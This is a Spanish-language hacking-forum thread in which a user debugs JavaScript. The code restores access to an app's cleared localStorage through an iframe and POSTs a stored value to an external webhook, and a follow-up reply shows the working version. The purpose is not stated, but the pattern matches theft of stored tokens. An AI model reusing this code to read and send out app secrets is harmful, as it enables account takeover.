elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Estamos en la red social de Mastodon


+  Foro de elhacker.net
|-+  Programación
| |-+  Desarrollo Web (Moderador: #!drvy)
| | |-+  Enviar localstorage mediante webhook desde la consola, error 404 ¿?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Enviar localstorage mediante webhook desde la consola, error 404 ¿?  (Leído 2,307 veces)
Xyzed


Desconectado Desconectado

Mensajes: 307



Ver Perfil
Enviar localstorage mediante webhook desde la consola, error 404 ¿?
« en: 11 Junio 2021, 10:37 am »

Hola.

Estuve informandome acerca del funcionamiento de LocalStorage, siempre me maneje más por el lado de las cookies y estoy obteniendo un error al intentar enviar mediante una webhook desde la consola un valor del mencionado almacenador de información;

Código
  1. function getLocalStoragePropertyDescriptor() {
  2.  const iframe = document.createElement('iframe');
  3.  document.head.append(iframe);
  4.  const pd = Object.getOwnPropertyDescriptor(iframe.contentWindow, 'localStorage');
  5.  iframe.remove();
  6.  return pd;
  7. }
  8.  
  9. Object.defineProperty(window, 'localStorage', getLocalStoragePropertyDescriptor());
  10. const localStorage = getLocalStoragePropertyDescriptor().get.call(window);
  11.  
  12.  

La aplicación al iniciarse limpia y no permite de alguna forma acceder a LocalStorage, por lo tanto utilice esa función que encontré navegando para poder acceder al LocalStorage.

Para corroborar que la función mencionada este en correcto funcionamiento hice una simple impresión desde la consola con:

Código
  1. console.log(LocalStorage);
  2.  

Esto devuelve lo buscado sin ningún problema, por lo tanto la función getLocalStoragePropertyDescriptor está bien.

Luego de eso, intente desde la misma consola poder enviar un webhook, esto funciona correctamente, pero al pasar el contenido de "LocalStorage" a una variable para ser enviado, recibo el error 404.
Este es el código;

Código
  1. function enviarhook() {
  2.      var request = new XMLHttpRequest();
  3.      request.open("POST", "direcciondelhook");
  4.  
  5.      request.setRequestHeader('Content-type', 'application/json');
  6.  
  7.      var msg = LocalStorage; //Linea que causa el error, msg es el contenido que sera enviado mediante POST al webhook. Si en vez de "LocalStorage" le atribuyo cualquier otro contenido, se envia correctamente, pero en cambio si esta tal cual lo presente aqui, recibo un error 400 "POST".
  8.  
  9.      var params = {
  10.        content: msg
  11.      }
  12.  
  13.      request.send(JSON.stringify(params));
  14.    }
  15.  

Quizás esto está prohibido por un tema de seguridad, pero puede ser que este empleando algo mal por lo tanto realizo el post aquí.

La pregunta es; ¿Cuál es el causante del error?

Saludos.


En línea

...
Xyzed


Desconectado Desconectado

Mensajes: 307



Ver Perfil
Re: Enviar localstorage mediante webhook desde la consola, error 404 ¿?
« Respuesta #1 en: 11 Junio 2021, 10:55 am »

Actualizo: Ya lo pude resolver, simplemente pasando el parametro exacto a buscar en LocalStorage funciona sin problemas:


Código
  1. //cambiar:
  2. var msg = LocalStorage;
  3. //por:
  4. var msg = LocalStorage.getItem('valor');
  5. //Al parecer al justificar exactamente que quieres enviar lo hace sin problemas.
  6.  

Saludos.


En línea

...
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Enviar mensaje a la consola « 1 2 »
.NET (C#, VB.NET, ASP)
CH4ØZ 18 11,150 Último mensaje 9 Agosto 2010, 05:15 am
por CH4ØZ
Acceder a https mediante consola « 1 2 »
GNU/Linux
pills 10 6,285 Último mensaje 18 Enero 2017, 03:45 am
por pills
Como enviar datos mediante post y fopen a un sitio protejodo por contraseña
PHP
jeber 1 2,048 Último mensaje 18 Julio 2015, 04:32 am
por T. Collins
El código de enviar en consola de más de 255 caracteres me sale error.
.NET (C#, VB.NET, ASP)
Meta 2 2,858 Último mensaje 18 Enero 2023, 20:10 pm
por Meta
MOVIDO: El código de enviar en consola de más de 255 caracteres me sale error.
Programación C/C++
Eternal Idol 0 2,145 Último mensaje 18 Enero 2023, 08:50 am
por Eternal Idol
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines